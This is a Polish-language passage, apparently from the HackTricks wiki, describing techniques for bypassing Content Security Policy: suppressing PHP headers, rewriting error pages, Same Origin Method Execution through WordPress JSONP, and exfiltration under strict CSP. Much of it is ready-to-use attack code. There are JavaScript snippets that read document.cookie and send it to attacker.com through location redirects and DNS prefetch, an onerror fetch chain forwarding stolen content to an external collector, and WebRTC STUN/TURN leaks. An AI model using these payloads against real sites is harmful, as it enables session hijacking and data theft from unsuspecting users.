Wgląd w Hacking Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności Hackingowe w Czasie Rzeczywistym Bądź na bieżąco z dynamicznie zmieniającym się światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

Niebezpieczne Technologie do Ominięcia CSP

Błędy PHP przy zbyt wielu parametrach

Zgodnie z ostatnią techniką skomentowaną w tym wideo, wysyłanie zbyt wielu parametrów (1001 parametrów GET, chociaż można to również zrobić z parametrami POST i więcej niż 20 plikami). Każdy zdefiniowany header() w kodzie PHP nie zostanie wysłany z powodu błędu, który to wywoła.

Przeciążenie bufora odpowiedzi PHP

PHP jest znane z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczająco dużo danych w ostrzeżeniach, odpowiedź zostanie wysłana przed nagłówkiem CSP, co spowoduje zignorowanie nagłówka. Technika polega zasadniczo na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.

Pomysł z tego opisu.

Przepisz stronę błędu

Z tego opisu wygląda na to, że możliwe było ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME to technika, która wykorzystuje XSS (lub mocno ograniczone XSS) w punkcie końcowym strony do wykorzystania innych punktów końcowych tej samej domeny. Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób podatny punkt końcowy może użyć obiektu opener w ładunku do dostępu do DOM rzeczywistego punktu końcowego do wykorzystania. Aby uzyskać więcej informacji, sprawdź:

SOME - Same Origin Method Execution

Ponadto, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data, który odzwierciedli dane wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).

Atakujący może wykorzystać ten punkt końcowy do wygenerowania ataku SOME przeciwko WordPressowi i osadzić go w <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>, zauważ, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać atak SOME poprzez podatny punkt końcowy callback, który obejmuje CSP, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę... Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Jeśli istnieje surowa CSP, która nie pozwala na interakcję z zewnętrznymi serwerami, istnieje kilka rzeczy, które zawsze możesz zrobić, aby wyekstrahować informacje.

Location

Możesz po prostu zaktualizować lokalizację, aby wysłać do serwera atakującego tajne informacje:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Możesz przekierować, wstrzykując tag meta (to jest tylko przekierowanie, to nie ujawnia treści)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Aby ładować strony szybciej, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i przechowywać je w pamięci podręcznej do późniejszego użycia. Możesz wskazać przeglądarkę, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">

Możesz nadużyć tego zachowania, aby wyekstrahować wrażliwe informacje za pomocą zapytań DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Inny sposób:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Aby uniknąć tego, serwer może wysłać nagłówek HTTP:

X-DNS-Prefetch-Control: off

Najwyraźniej ta technika nie działa w przeglądarkach bez interfejsu (boty)

WebRTC

Na kilku stronach można przeczytać, że WebRTC nie sprawdza polityki connect-src CSP.

W rzeczywistości możesz leak informacje używając żądania DNS. Sprawdź ten kod:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Inna opcja:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Sprawdzanie polityk CSP online

Automatyczne tworzenie CSP

https://csper.io/docs/generating-content-security-policy

Odniesienia

Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w hacking Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności o hackingu w czasie rzeczywistym Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze ogłoszenia Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

Wsparcie HackTricks

Last updated